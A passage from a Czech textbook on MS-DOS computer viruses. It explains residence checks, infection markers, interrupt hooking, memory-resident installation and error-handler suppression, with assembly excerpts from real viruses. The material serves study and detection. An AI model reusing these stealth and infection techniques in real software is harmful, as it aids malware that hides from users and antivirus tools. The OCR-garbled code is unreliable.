ES:DI => adresa, na niZ je uloZeno poradové ¢islo SFT (nebyla-li chyba, tj. CF = 0)
(BYTE!)
Sluzba 1216h - zjisténi adresy SFT
Vstup: AX =1216h
BX = &islo SFT (zjisténeé sluzbou 1220h)
Vistup: ES:DI => adresa SFT (nebyla-li chyba, tj. CF = 0)
K chybé dojde, je-li BX vétsi neZ rozsah dany pfikazem FILES. Maximaélni hodnota FILES je
255, odtud tedy bajtovy rozsah &isla SFT a proto je hodnota BH na vstupu vzdy nulova.

Sluzba 13h - nastaveni obsluhy diskov{ch p¥feruseni

Vstup: AH = 13h
DS:DX => adresa obsluhy pferueni diskového ovladaée pro volani éteni/zapisu
ES:BX => adresa pro obnovu pferueni int 13h pfi zastaveni systému (exit z kofe-
nového shellu)

Vystup: DS:DX => hodnoty pfedchoziho volani této funkce
ES:BX => hodnoty pfedchoziho volani této funkce

Nebezpecna sluzba, kterou viry pouZzivaji pro zjisténi originalniho vstupu do ROM-BIOSu pro
diskové preruseni int 13h. Prunim volanim této sluzby nastavi virus fiktivni hodnoty vstupnich
adres a zjisti pfedchozi hodnoty, pficemz ES:BX udéava praveé zjistovany vstup pro int 13h. Vza-
péti nasleduje noveé volani int 2th, které predchozi hodnoty nastavi zpét.
o Int 40h: Pfesmérovany puvodni ovlada¢ disketové jednotky

PferuSeni int 40h bylo doménou starsich virti, které jej pouzivaly namisto diskovgch V/V-
operaci int 13h. Dlivod byl prosty, tehdejsi antivirové prosttedky na kontrolu int 40h zapo-
minaly.

3. Obecné virové mechanismy

Vétsina pocitacovych virli se vyznacuje fadou standardnich programovacich technik, které pak
mohou velice Gspésné slouzit napf. k jejich detekci ¢&i jinému nevirovému vyuziti. Nasledujici
konstrukce patfi k tém nejzakladngjsim.

3.1. Zjisteni pritomnosti viru v paméti
K tomu, aby nedochézelo k vicenasobné instalaci viru do paméti musi virus zjistit, zda je jiz v pa-
méti pfitomen ¢&i nikoliv.
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¢ Vytvoreni nové sluzby preruseni
Moznosti, jak zjistit pfitomnost viru v paméti je nékolik, nicméné tato metoda je nejpouziva-
n&jsi a da se velice dobfe vyuZit pro psani obecnych rezidentnich programu.. Nové sluzba pfi-
sludného pferuseni byva v naprosté vétdinég pfipadu vytvarena v ramci volani jadra Dosu (pte-
rudeni int 21h).
Nasleduje ukazka mechanismu viru Pojer. Volani pferuseni 21h pfedpoklada &islo poza-
dované sluzby v registru AH.

mov ah, Offh ; Cislo sluzby (test pritomnosti viru)
int 21h ; vliastni volani Dosu

cmp ax, 1234h ; byl vracen k1iC pritomnosti?

jne neni_pritomen ; skok na rezidentni instalaci

jmp je_pritomen ; instalace se jiZz provadét nebude

Po této sekvenci prikazu virus zjisti, zda se ma instalovat do paméti, ¢i zda je jiz v pameé-
ti pfitomen. Princip spociva ve skutetnosti, Ze za normalnich okolnosti sluzba Dosu &islo Offh
neexistuje a tudiz operaéni systém zareaguje pouze chyboveé, tj. vrati v registru AX nedefino-
vanou hodnotu s pfipadnym nastavenim chybového ptiznaku CF. Je-li jiz viak virus v pamé-
ti pfitomen, sdm ,vytvofi“ novou sluzbu tohoto pferuseni tak, Ze na volani sluzby Dosu Offh
bude vracet navratovou hodnotu (kli¢ pfitomnosti) 1234h v registru AX. Virus tedy pfesmé-
ruje obsluhu pferuseni int 21h na své télo, které na pocatku obsluhy zjisfuje, zda neni poza-
dovéna pravé nové vytvotena sluzba.
obsluha_int_21h:

cmp ah, 0ffh ; jedna se o test pritomnosti?
Jne pokracuj ; ne, pokracuje obsluha int 21h
mov ax, 1234h ; ano, nastavi k1i¢ pritomnosti
iret ; ndvrat z preruSeni

pokracuj:
dalsi sled instrukci
Samoziejme, Ze i tato metoda méa sva uskali. V okamziku, kdy dva rizné viry pouZiji stej-
né Cislo nové vytvorené sluzby, dojde ke kolizi a tim k moZnosti vicenésobné instalace. Obec-
ng&jsi moznosti je pouZit misto registru AH obsah celého registru AX. V tom piipadé se prav-
dépodobnost kolize zmensi na minimum.

o Vyuziti volnych uzivatelsk{ch preruseni
Existuje nékolik volngch preruseni kolem int f5h, ktera jsou operaénim systémem vyhraze-
na pro potfeby uzivatele. Virus ma moznost obsadit nékteré z nich pro své Gcely. Tuto me-
todu vsak nelze doporuéit jako bezpeinou, nebof pravdépodobnost kolize s jingm progra-
mem, kter( vyuZije stejné preruseni, je dost velka. Pfipadné pouziti mé vsak tu vihodu, Ze se
virus & program nemusi starat o tischovu adresy ptivodni obsluhy, nebof ta v tomto p¥ipadé
neexistuje. Podrobny popis pferudeni prichazejicich do tvahy je mozné nalézt na stanicich
BBS ¢&i Internetu, napt. v [Brown, R.: MS-DOS Interrupt List], jeZ je zéroven velice kom-
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plexnim informaénim zdrojem, popisujicim zejména viechna pferuseni (i nedokumentovand)
a datovou oblast BIOSu.

3.2. Zjisteni pritomnosti viru v souboru

Podobné jako v pifipadé vicenasobné instalace v paméti potfebuje virus vyfesit stejng problém
i pfi infikaci souboru. K zamezeni moZnosti vicendsobného zavirovani programu stejnym virem
vyuzivaji viry pro rozhodnuti, zda dany soubor jiz je ¢i neni jeho télem infikovan, nékterou z na-
sledujicich moznosti:

Identifika¢ni fetézec

Tradiéni podpisova metoda. Virus ve svém téle obsahuje na definovaném misté definovany
Fetézec znaku, kterg slouzi k detekci jeho pfitomnosti. Jak jiz bylo vise uvedeno v souvislos-
ti s detekci virQ, napf. virus Pojer pro svoji identifikaci pouZziva fetézec , XmY?!&* ulozeny
12 bajtt pfed koncem souboru.

Konkreétni nebo nesmyslny ¢as souboru
Metoda vyuZivajici zejména moznosti nastaveni asu souboru na nesmyslng Gdaj. Virus Vienna
nastavuje polozku sekund ¢asu na hodnotu 62.

Existuji i rizné odvozeniny vyuZivajici konkrétni ¢as souboru. Ptikladem je virus Datacri-
me, kterg posledni t¥i bity tidaje sekund ¢asu nastavuje na stejnou hodnotu podle poslednich
tfech bitli minut.

Nesmyslné datum souboru
dde o nastaveni data mimo logicky rozsah. Virus Tremor nastavuje rok souboru zvétSeng

o 100.

Kombinace data a ¢asu souboru

Komplikovangjsi zpusob indikace pfitomnosti viru, ktery se snaZzi zamezit nahodilym sho-
dam. Napf. virus One Half méni datum a ¢as souboru podle vzorce (datum mod 1eh) = (Gas
and 1fh).

Nevyhoda viech indikaci pomoci data a ¢asu souboru je jejich nefunkénost v piipadé vi-
cenasobnému zavirovani programu nékolika rizngmi viry, vyuZzivajicimi tuto techniku. Tento
problém ma v3ak daleko obecngjsi podstatu (viz obr. 40). Malokdy dokéaze virus A odolat pro-
gramu, kterg byl pozdéji zavirovan virem B. Viry totiz nevyhledavaji své identifikaéni fetézce
v celém téle programu, ale na pfesné definovaném misté, coz v uvedeném pfipadé zname-
na, ze aktivni virus A bude hledat sviij identifikalni fetézec v téle viru B; tam jej nenalezne
a opétovné zaviruje program svym télem.

Od problému vicenasobného zavirovani jsou oprostény souborové viry prepisujici i dupli-
citni. Prepisujici viry ptepisuji télo infikovaného programu a viry duplicitni vytvafi naprosto
oddéleny soubor. Oboji neprodluzuje délku infikovaného programu a proto zde vicenasobné
zavirovani nehrozi.
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Program

Virus A
Virus B

Obrézek 40: Problém vicendsobné infikace prodluZujicich vird

e Deélka souboru
Netradi¢ni zplGsob indikace pfitomnosti viru. Virus Anthrax zarovnava velikost souboru na
hodnotu délitelnou 16. Pochopitelng, Ze fada soubort, jejichZ nezavirovana velikost spliiuje
uvedenou podminku, nebude virem Anthrax nikdy napadena.

¢ Identifika¢ni instrukce
Zajimava moznost, vyuZivajici pfepisu prvni instrukce ¢ nékolika prvnich instrukci na instruk-
ce identifikacni, tj. na instrukce jejichZ viskyt je v ivodu programu nepravdépodobny a kte-
r§ charakterizuje pfitomnost viru. MliZe jit napt. o sled instrukci nop (90h), ¢i jako v piipadé
viru Seventh Son o instrukci dec BP (4dh). Kazdopadné vzdy se jedna o instrukce nevyznam-
né pro vlastni béh programu.

¢ Pfiznaky v hlavié¢ce souboru *.EXE

Neékteré infektory soubortt *.EXE pouZivaji rozliéné variace pfiznak(i vybrangch polozek hla-

vicky (headeru) *.EXE:

— Test poloZzky kontrolniho sou¢tu na konkrétni hodnotu (virus SysLock testuje na hodnotu
7cb6h).

— Nestandardni signatura souboru * EXE (virus Fingers uklada misto systémové hodnoty
‘MZ’ hodnotu ‘TM)).

— Definovana pocateéni hodnota registru IP (virus Peach testuje IP na hodnotu 01fch).

— Kombinovany pfiznak (pro virus Invol je pfiznakem infikace splnéni podminky SS - SP =
5ch; virus Loren testuje, zda pro hodnotu kontrolniho souétu plati: ChkSum = CS + IP +
01b3h).

- Virus Mabuhay testuje, zda vstupni bod programu obsahuje stejng kod jako télo viru.
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Vsechny uvedené metody jsou pouze piiklady virovich mechanismii, ne navod k identifikaci
pritomnosti virG. V pfipadé, Ze virus je aktivni v paméti, uZivatel nemusi, vzhledem k mozné
stealth povaze viru, vise uvedené symptomy zjistit.

3.3. Zjisténi adresy viru v paméti

Narozdil od bootovacich virli, které maiji jistotu, Ze jejich spusténi bude realizovano vzdy v pa-
méti od adresy 0000:7c00, musi viry souborové svoji aktualni pozici v pameéti zjistovat. Seg-
mentova Cast adresy je urlena segmentem vlastniho kodu (CS), offsetova ¢ast adresy pak tri-
kem pomoci instrukce call, ktera uklada do zasobniku navratovou adresu (tj. adresu nasledujici
instrukce programu).

call trik ; skok na nasledujici instrukci
trik:

pop bp ; ziskava adresu této instrukce

sub bp, offset trik ; korekce na originalni posun

Od tohoto okamziku virus zna svoji pozici v paméti, coz je vyuzivano kédem viru zejména
pFi praci s proménnymi, resp. pfi jejich adresovani (pouZiti registru BP je samoziejmé jednou
z moznych variant).

Dale pak lze v téle viru nalézt odkazy podobného typu, jako zde nasledujici uvedené ptikla-
dy nacteni offsetu proménné & nacteni obsahu adresy definované proménnou.

* Konstrukce mov dx, offset proménna:
lea dx, [bp+offset proménndal]
resp.
lea dx, [bp+proménnal
* Konstrukce mov dx, word ptr proménna:
mov dx, word ptr [bptoffset proménnd]
resp.
mov dx, word ptr [bp+proménnal

3.4. Presmérovani vektors preruseni na télo viru

K tomu, aby virus aktivné sledoval déni opera¢niho systému, musi pfesmérovat obsluhy vybranych pre-
rudeni na své télo. Nejcastéji obsazovanymi pferudenimi jsou int 21h (volani jadra Dosu) a int 13h (dis-
kové operace). Je naprosto béZné, Ze jeden virus obsazuje hned nékolik preruseni.

Pro realizaci pfesmérovani obsluhy pferuseni ma virus dvé moZznosti:

e Legalni pouziti sluzeb Dosu 35h (¢ti vektor pferuseni) a 25h (nastav vektor
preruseni).
Tyto sluzby manipuluji s hodnotami uloZengmi v tabulce vektorl pferuseni (interrupt vector
table). Tabulka vektori pferuSeni je v paméti uloZzena od adresy 0000:0000 a je tvofena
Ctytbajtovymi polozkami, reprezentujicimi offsetovou (2 bajty) a segmentovou (2 baijty) cast
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adresy obsluhy pfislusného pferueni. Kapacita tabulky zahrnuje rozsah adres obsluh pteru-
Seni int 00h az int ffh. Uvedené sluzby nadéitaji nebo ukladaji étyfi bajty z adresy nebo na ad-
resu 0000:(AL*4), pticemz obsah registru AL oznacuje pozadované prerudeni.

mov ax, 3521h ; sluzba 3bh, preruseni int 21h
int 21h ; vlastni volani Dosu

mov word ptr cs:[old_int_21h], bx ; offsetovd Cast

mov word ptr cs:[old_int_21h+2], es ; segmentovd cast

Nyni je tedy na adrese old_int_21h uschovéna hodnota adresy ptivodni obsluhy pferuseni
int 21h. Tato hodnota byva nejcastéji pfimo vyuzivana v ¢asti kodu, kterg provadi volani té-
to plwvodni obsluhy.
plvodni_obsTuha:

pushf
db 9ah ; instrukce ”call far ptr”
old_int_21h dd ? ; adresa plvodni obsluhy

Sekvence instrukci pushf a call far ptr je charakteristicka posloupnost pro volani ptivodni ob-
sluhy s moznosti navratu do uZivatelské (v tomto p¥ipadé virové) obsluhy pferuseni. Na Gplném
konci virové obsluhy int 21h byva navrat z prerueni realizovan, vzhledem k potfebé spravne-
ho nastaveni pfiznakového registru, nejcastéji instrukci retf 2 misto klasické instrukce iret.

Po uschovani adresy ptivodni obsluhy nasleduje sekvence provadgjici vlastni pfesmérova-
ni na virovou obsluhu pferugeni.

mov ax, CS

mov ds, ax ; DS = CS, segmentova cCast

mov dx, offset obsluha_int_21h ; offsetovd Céast

mov ax, 2521h ; sluzba 25h, preruSeni int 21h
int 21h ; vlastni voléani Dosu

Nyni ma virus zaji$téno, Ze viechny pozadavky volani sluzeb Dosu budou obsluhovany virem.
Skutenost obsazeni preruseni int 21h je pro viry dileZitad zejména z hlediska jejich replika-
ce. Vétsina souborovgch virt monitoruje sluzbu 4bh, provadgjici spusténi programu. V tom-
to okamziku se totiz za¢ne virus zajimat, zda-li pravé spustény program je ¢i neni zavirovan...

P¥imy zapis do tabulky vektoru preruseni

Snahou je vyhnout se pouziti volani sluzeb Dosu 35h a 25h. Na rozdil od prvni moZnosti méa
virus zajisténo, Ze jeho operace nebudou pfipadné zachyceny rezidentnim antivirovgm hlida-
Cem monitorujicim nebezpeénéa volani Dosu. Virus sice provadi stejnou innost, nicméné vse
ve vlastni reZii nezavisle na operaénim systému.

Nejprve opét nésleduje Gschova adresy ptivodni obsluhy pferuseni int 21h.

XO0r ax, ax ; vynulovani registru AX
mov ds, ax ; segment “interrupt vector table”
les bx, ds:[21h*4] ; naCteni adresy obsluhy do BX a ES
mov word ptr cs:[old_int_21h], bx ; offsetovd Cast

mov word ptr cs:[old_int_21h+2], es ; segmentovd cast
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Hodnota ds:[21h*4] predstavuje offset do tabulky vektorti pferuseni pro preruseni int 21h. In-
strukce les nacte do registru BX slovo z adresy ds:[21h*4], a zaroven do registru ES slovo
z adresy ds:[21h*4+2].

A nésleduje nastaveni vlastniho pfesmérovani na virovou obsluhu. Predpokladejme, Ze se
nezménila nulova hodnota data segmentu.

mov ds:[21h*4], offset obsluha_int_21h ; offsetovéd Cast
mov ds:[21h*4+27, cs ; segmentova Cast

Virus v tomto pfipadé zapisuje pfimo do systémové Casti paméti, konkrétné do tabulky vek-
tort preruseni.

3.5. Rezidentni instalace

Rezidentni viry zajistuji, Ze v ramci provedeni svého téla bude virus zkopirovan na vhodné mis-
to v operaéni paméti, odkud pfes pfislusna preruSeni bude monitorovat déni operaéniho systé-
mu bez obav, Ze misto, které virus zabira, bude dano k dispozici jinému programu.

3.5.1. Rezidentnost bootovacich viro

Rezidentni mechanismus bootovacich virt je naprosto charakteristicky a lze jej nalézt témér
u viech bootovacich virti. Stejng postup lze uplatnit i v nevirovém programovéni pro nestan-
dardni potteby zavedeni operaéniho systému (napf. pro softwarové piehozeni disketovich jed-
notek A: a B:). Neni snad ani potfeba dodavat, Ze bude-li uzivatel testovat takto specialné upra-
venou zavéadéci disketu na ptitomnost viru, pak drtiva vétsina antivirovich programt bude hlasit
pfitomnost generického bootovaciho viru. Pochopitelné viak ptjde o plang poplach, zptsobe-
ny pravé virovgm mechanismem rezidentni instalace.

Virus ze systémové datové oblasti (adresa 0000:0413) ptette velikost zakladni paméti, snizi
tento udaj o potfebnou hodnotu (v nize uvedeném ptikladu o 2 kB) a znovu jej uloZi na uvede-
nou adresu. V tomto okamziku prestava operacni systém o této Casti paméti védét. Virus ma
tak zajidténo, Ze tato oblast paméti nebude dana k dispozici jinému procesu a ma jistotu, Ze ne-
dojde k pfemazéani jeho téla.

V zdrojovém kédu téchto virtl je pak mozno nejéastéji nalézt tuto charakteristickou sekvenci
instrukci:

XOor ax, ax ; vynulovani registru AX (lze pouzit i Jjiny registr)

mov ds, ax ; vynulovani registru DS (nastaveni na datovy segment
operacniho systému)

mov ax, word ptr ds:[413h] ; nalCteni velikosti zdkladni paméti

dec ax ; sniZeni o 1 kB

dec ax ; snizeni o 1 kB (celkem o 2 kB)

mov word ptr ds:[413h], ax ; opétovné uloZeni nové hodnoty

V registru AX ziistava nova velikost zakladni pameéti, ktera je dale pfepoctena na pfislusnou
hodnotu segmentové ¢asti adresy, kam se virus rezidentné nainstaluje:
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mov cl, 6 ; posun o 6 bitd == nasobeni 64
shl ax, cl ; velikost paméti vyndsobend 64 je
mov es, ax ; hodnota segmentu pro nainstalovdni viru

Po ziskéni segmentové asti adresy se virus nakopiruje z adresy 0000:7c00 (kam byl nata-
Zen jako Klasicky zavadéci sektor pro zavedeni operaéniho systému), na adresu ES:0000, tj. do
vyhrazeného prostoru takto:

mov cx, velikost viru ; v bajtech

mov si, 7c00h ; offset poCatku téla viru
xor di, di ; offset cilového mista (0000)
cld ; smér inkrementace adres

rep movsb ; kopirovani z DS:SI -> ES:DI

Nyni je virus nakopirovan (v naSem pfipadé) do oblasti mezi 638 az 640 kB zakladni pamé-
ti. Déle virus zajisti pfesmérovani pifislusngch vektorll pferudeni, nakopiruje na adresu
0000:7c00 odlozeny originalni zavadéci sektor a pfeda mu Fizeni, ¢imZ dojde k zavedeni ope-
raéniho systému, aniz uZivatel cokoliv zaregistruje (pochopitelné obsahuje-li infikované médium
zaveditelny operaéni systém).

Uvedend sekvence instrukci je inkriminovanou, nejéastéji vyhleddvanou sekvenci pfi detekci
bootovacich virl antivirovgmi programy.

3.5.2. Rezidentnost souborovych virt

Souborové viry pouZivaji fadu technik pro zajisténi rezidentnosti svého téla. Nabizi se snadné vy-
uziti TSR pferuSeni int 27h - ,Ukondi, ale zlstan rezidentni“. To lze vak snadno odhalit vipi-
sem obsazeni paméti, pfikazem mem. Naprosto ojedinély postup pak vyuziva virus Leap Frog,
ktery instaluje své télo do prostoru diskoviich vyrovnavacich paméti danych piikazem BUFFERS
v souboru CONFIG.SYS. Teoreticky mozny je i vyskyt viru v pamétovych oblastech Upper Me-
mory (640 kB az 1 024 kB) - virus Tremor & High Memory (1 024 kB az 1 088 kB) - virus
Gold Bug. Proto antivirové programy neopomijeji testovat i tyto oblasti. Dalsi moznosti je vyuzi-
ti obrazové paméti VRAM. Tu vyuZziva napf¥. virus Starship. ,Klasickym® virovym rezidentnim
mechanismem je rezidentni instalace na vrchol systémové paméti pod hranici 640 kB.

Pro pochopeni instalace je zapotiebi znat obsah systémove struktury ,Ridici blok pameéti*
(dale jen MCB - Memory Control Block). Retézec blokt paméti vznika ,rozkouskovanim® pa-
méti RAM v reZzimu pfidélovani a uvolfiovani alokované paméti podle momentalnich pozadav-
kil na operacni systém. MS-DOS rezervuje prvni paragraf (1 paragraf = 16 B) kazdého aloko-
vaného bloku pravé pro MCB, jehoz struktura vypada nasledovné:

Offset Délka [B] Popis polozky MCB
0 1 Typ bloku: ‘Z’ — posledni blok, ‘M’ — pribézny blok.

1 2 Vlastnik bloku (segmentova adresa jeho PSP).
3 2 Velikost bloku (v paragrafech).
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Offset Délka [B] Popis polozky MCB

5 11 Rezervovéno.
Od verze DOS 4.x ma polozka nedokumentovany tvar:
3 B - rezervovéno.

8 B - ASCII jméno vlastnika bloku, jde-li o blok PSP.

Jakykoliv jing typ bloku nez uvedeny zptsobi systémovou chybu ,Memory Allocation Failure®.

Je-li hodnota vlastnika bloku nulova, pak blok naleZi sam sobé, coz znamena, Ze je volny a je
mozZno jej alokovat. Je-li rovna 8, pak je vlastnikem bloku DOS.

Stejnou strukturu MCB maiji i paméfové bloky UMB; jejich ASCII jméno vlastnika bloku mu-
Ze nabyvat i dopliikovych hodnot ,SC* (systémovy kod) nebo ,SD* (systémova data). Viry, kte-
ré UMB pro rezidentni instalaci vyuZivaji, nastavuji hodnotu ,,SC* z dtivodu maskovaciho. Diky
tomu neni inkriminovany blok zobrazen ve v{pisu obsahu paméti napt. pfikazem mem.

Souborové viry vyuZivaji skuteCnost, ze pfi spusténi programu (COM i EXE) je datovy seg-
ment (DS) nastaven na hodnotu PSP spousténého programu. Odtud virus hravé uréi adresu
MCB = PSP - 1 a provedou vlastni instalaci, jejiz obecny popis vypada nasledovné (MemTop
je oznaceni vrcholu dostupné systémové paméti):

Nastav se na adresu MCB spuSténého programu
Je to posledni blok paméti?
Ano, skok na Vlastni instalaci
Je dostatek volné paméti pro virus?
Ne, predej rizeni infikovanému programu...
Alokuj zbytek paméti
Nastav se na adresu MCB alokované paméti
Ozna¢ blok jako volny, tj. vlastnik bloku je nulovy
Nastav v PSP spuSténého programu novou hranici MemTop
Vlastni instalace:
Je velikost bloku dostatecna pro virus?
Ne, predej rizeni infikovanému programu...
Sniz v MCB velikost bloku o délku viru
SniZz v PSP spuSténého programu hodnotu MemTop o virus
Zkopiruj virus do oblasti nad novou hodnotu MemTop
A presméruj sem obsluhy prisluSnych preruSeni

Instalace zmensi velikost bloku o velikost viru, do néhoz pozdéji virus nakopiruje své télo. Na-
sleduje zmen3eni maxima dostupné systémové paméti v PSP spusténého programu. Tim méa
virus zaji$téno, Ze ukradenéa ast bloku pameéti nebude v budoucnosti déna k dispozici jinému pro-
gramu. Blok pro nakopirovani viru je bud’ pfimo ten, ve kterém se nachazi spusténg program,
nebo nové alokovany. Vzdy se ale jedna o posledni pamétovy blok, oznaceny znackou ‘Z'.

Prefix programového segmentu (PSP) je dalsi datova struktura opera¢niho systému, ve kte-
ré se nachazeji klicové udaje spusténého programu. Virus manipuluje zejména s hodnotou vr-
cholu dostupné systémové paméti, ktera je ulozena v PSP na offsetu 2. Podrobny popis viech
poloZek uvadi napt. TechHelp.
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Nasleduijici zdrojovy tvar dokumentuje vyse popsany algoritmus na Grovni instrukci. Jedna se
o extrakt z kodu viru Pojer. Lisi se vsak pouze nuancemi i u celé fady jingch vird napt. Cadki-
1, Chill & Nina.

Cést viroveho kodu, vénuiici se predani Fizeni infikovanému programu, je uvedena v &asti kni-
hy vénované konstrukcim souborovych virt.

Poznamka:

hodnota 83h reprezentuje velikost viru v paragrafech, resp. velikost potfebné paméti
pro jeho instalaci, a je pochopitelné pro kazdy virus jind.

Nastav se na adresu MCB spusténého programu.

mov ax, ds ; DS = PSP
dec ax ; MCB = PSP -1
mov es, ax ; ES = MCB spuSténého programu

Je to posledni blok paméti?

cmp byte ptr es:[0], ‘Z° ; je to posledni blok paméti?
je instaluj ; ano, virus se pokusi o vlastni instalaci

Je dostatek volné paméti pro virus?

mov bx, Offffh ; klasickd sekvence pro zjisténi

mov ah, 48h ; celkové velikosti

int 21h ; volné paméti

cmp bx, 83h ; Je to aspon 131 paragrafd (2 096B)?
Jjae go_on_1 ; ano, pokracuj v algoritmu

Jmp exit_install ; predej rizeni infikovanému programu

Alokuj zbytek pameéti.

go_on_1:
mov ah, 48h ; alokuj zbytek volné paméti, kterd byla
int 21h ; zjisténa predchozim voldnim sluzby 48h
jnc go_on_2 ; nedoSlo k chybé?
Jmp exit_install ; predej rizeni infikovanému programu

Nastav se na adresu MCB alokované paméti.

go_on_2:
dec ax ; (AX = adresa alokovaného bloku)
mov es, ax ; AX - 1 = adresa MCB alokovaného bloku

Oznac blok jako volng.

mov word ptr es:[1], O ; vlastnik = volny blok
cmp byte ptr es:[0], “Z° ; Jje to skutecné posledni blok?
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je go_on_3 ; ano, pokracuj v instalaci
jmp exit_install ; predej rizeni infikovanému programu

Nastav v PSP spusténého programu novou hranici MemTop.

go_on_3:
add ax, es:[3] ; pricti k hodnoté MCB velikost bloku
inc ax ; 1 paragraf pro vlastni MCB
mov es:[12h], ax ; nastav v PSP:[2] hodnotu MemTop (*)

Je velikost bloku dostate¢na pro virus?

instaluj: ; findIni instalace viru
mov ax, es:[3] ; velikost bloku v paragrafech
sub ax, 83h ; vejde se tam virus?
Jjc exit_install ; predej rizeni infikovanému programu

Sniz v MCB velikost bloku a v PSP hodnotu MemTop o délku viru.

mov es:[3], ax ; zapi$ o virus zmenSenou velikost bloku
sub word ptr es:[12h], 83h ; sniZ MemTop v PSP:[2] o virus

Zkopiruj virus do oblasti nad novou hodnotu MemTop.

cld ; nastaveni sméru kopirovani

mov es, es:[12h] ; MemTop=segment pro nakopirovéni viru
mov di, 8 ; offset do virového segmentu (**)

push si ; Uschova adresy viru pro pozdéj$i pouZiti
push cs ; sekvence

pop ds ; pro DS = CS

mov cx, /8fh ; délka viru v bajtech (1 935 B)

rep movsb ; vlastni zkopirovani z DS:SI -> ES:DI

presmérovani obsluh preruseni na virus
pop si ; obnova adresy viru

V{pis obsahu paméti pfed a po zavirovani poéitace virem Pojer ukazuje, Ze jedinou zménou
je skute€nost, Ze velikost volné paméti se zmensila o 2 160 B. Virus je tedy dokonale zamas-
kovéan, ani stopa po jménu nadbyte¢ného rezidentniho programu.

Pfed zavirovanim:

Allocated Memory Map - by TurboPower Software - Version 2.9
PSP Dblks bytes owner command line hooked vectors
0008 1 10816 config

0E28 2 4960 command 22 2E 2F F4 F8
0F65 2 592304 free

(*) ... virus vyuziva skutecnosti, ze od adresy es:[10] za¢ind PSP.
(**) ... prunich 8 bajt segmentu virus vyuZivd pro uschovu adres origindlnich obsluh pferuseni 21h a 1ch.
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Po zavirovani:

Allocated Memory Map - by TurboPower Software - Version 2.9
PSP blks bytes owner command Tline hooked vectors

0008 1 10816 config
0E28 2 4960 command 22 2B 2F F4 F8
0F65 2 590144 free

Podobnost téchto mechanismt dokumentuje virus Objective zjednodusenym tvarem bez pfi-
slusnych kontrol a alokaénich volani Dosu:

Vyhrazeni_paméti:

mov ax, ds ; DS = PSP
dec ax ; MCB = PSP -1
mov ds, ax ; ES = MCB spuSténého programu

sub word ptr ds:[3], 80h
sub word ptr ds:[12], 80h

Zkopirovani_viru:

zaber 2 kB paméti
sniz MemTop v PSP

stejné jako u bootovacich vird

Xor ax, ax
mov ds, ax

sub word ptr ds:[413h], 2
int 12h

sniz velikost zakladni paméti
zjisti novou velikost

mov cl, 6
shl ax, cl

pro nasobeni 64
; hodnota segmentu pro
; nainstalovani viru

push cs

pop ds ; zdrojovy segment

mov es, ax ; cilovy segment

mov di, O ; cilovy offset

mov si, offset start_viru ; zdrojovy offset

mov cx, délka_viru ; v bajtech

repnz movsb vlastni zkopirovani viru

Viry vuzivajici HMA pouzivaiji pro alokaci paméti nedokumentované volani pferuseni int 2fh,
dostupné od verze Dosu 5.0:

mov ax, 4a02h ; sluzba alokovani HMA prostoru
mov bx, offset Konce_Viru poCet poZadovanych bajtu
int 2fh ES:DI => alokovana oblast (pri chybé

L FEffN:FEEF)
Pro dotaz na dostupnost HMA je pouzivano volani sluzby 4a01h:

mov ax, 4a0lh
int 21h ; BX = poCet dostupnych bajtd v HMA (0 neni-T1i
; horni pamét vyuZivéna)
; ES:DI => pocCatek HMA oblasti (pri chybé
ffffh:ffffh)
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K chybovym staviim dochazi zejména je-li DOS=LOW, tj. ovlada¢ horni paméti HIMEM.SYS
neni nainstalovan.

Rezidentni viry se instaluji do paméti proto, aby monitorovaly veskeré nasledujici déni ope-
ratniho systému. Velice Gzky okruh virl se vak do paméti instaluje rezidentné pouze na pre-
chodnou dobu. Virus Anthrax napf. setrvava v paméti pouze do doby, nez zaviruje prvni sou-
bor. Poté se z paméti odstrani a dale se chova jiz jen jako virus nerezidentni.

3.6. Obsluha kritické chyby Dosu

Jedno z preruSenti, které rovnéz vétsina viri obsluhuje, je pferuSeni int 24h. PreruSeni zplsobi
za béznych okolnosti pfi kritické chybé Dosu dotazovaci vipis na obrazovce typu:

Abort, Retry, Fail?

Vypisované hlaseni muze v nékterjych piipadech vést k prozrazeni pfitomnosti viru na podci-
tadi (napf. pfi pokusu o zapis na disketu chranénou proti zapisu — write protect, tisk na tiskar-
né, ktera neni pro tisk pfipravena apod.). Pro odstranéni této moznosti pouzivaji viry svoji vlast-
ni, velice kratkou, obsluhu.

obsluha_int_24h:
mov al, 03h ; nastaveni chybového kédu
iret ; ndvrat z preruseni

Chybovy kéd 03h znamena navrat k aplikaci indikujici chybu (moZnost Fail).

Virova obsluha kritické chyby je u vétdiny virlt pouzivana pouze pfi provadéni infikace pro-
gramu nebo disku, aby pfi ném nedoslo k jejich prozrazeni. Po ukonéeni zavirovani viry zajis-
tuji zpétné presmérovani obsluhy na ptvodni hodnoty opera¢niho systému.

3.7. Charakteristické okamziky infikace virem

Okamzik, kdy virus napadne spustitelny soubor, je zavisly na povaze vir. Existuji dvé zakladni
koncepce:

¢ Rychla infikace
Za rychly infektor je pokladan virus, kterg napadéa nejenom viechny spousténé, vytvarené &i
modifikované programy, ale i programy pouze otevirané (napf. pfi antivirové kontrole). Nej-
rychlejsi infektory napadaji soubory jiz pti zachyceni volani funkci Dosu ,,Najdi prvni soubor*
a ,Najdi dalsi soubor*.

¢ Pomala infikace
Pomalym infektorem je virus, kterg vétsinou napada pouze programy nové vytvarené nebo mo-
difikované. Principem je, Ze virus se ,sveze" s legalnim poZzadavkem na zapis, v ramci néhoz
provede svoiji replikaci. Tim odpadé virim fada problému, nemusi napf. ani obsluhovat kritic-
kou chybu Dosu. V operaénim systému MS-DOS navic existuji samo-modifikujici se programy,
které se mohou stat idealnim teréem pomalé, a velice nendpadné, infikace (napf. program
SETVER.EXE pro zajisténi kompatibility programtt mezi riizngmi verzemi operacniho systému).
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¢ Obcasna infikace
Obcasna infikace je variantni formou pomalé infikace. Podstatou je splnéni urcité logické
podminky, napt. infikace kazdého dvacatého spousténého programu, infikace pouze v urdi-
té hodiny, infikace programti splfujicich definovany rozsah délky apod. Podle pojeti konkrét-
ni podminky mohou byt obasné infektory rychlosti svého rozsifeni bud’ rychlejsi nebo po-
malej$i nez infektory pomalé.

Rozdil v pojeti je zfejmy. Rychly infektor zptsobuje nejrychlejsi mozné rozsifeni viru v operac-
nim systému a dostupném okoli, coz vak nutné vede k jeho brzkému odhaleni. Pomaly infektor
se snaz v rozumné mife najit kompromis mezi rychlosti rozsifeni a dobou odhaleni. Velice po-
maly oblasny infektor je nejnenapadnéji a tedy nejnebezpecnéjsi variantou poditacového viru.

Okamziky infikace souborovym virem se de facto odvijeji od potfeby viru znat jméno progra-
mu pro jeho napadent:

o Klidovy stav
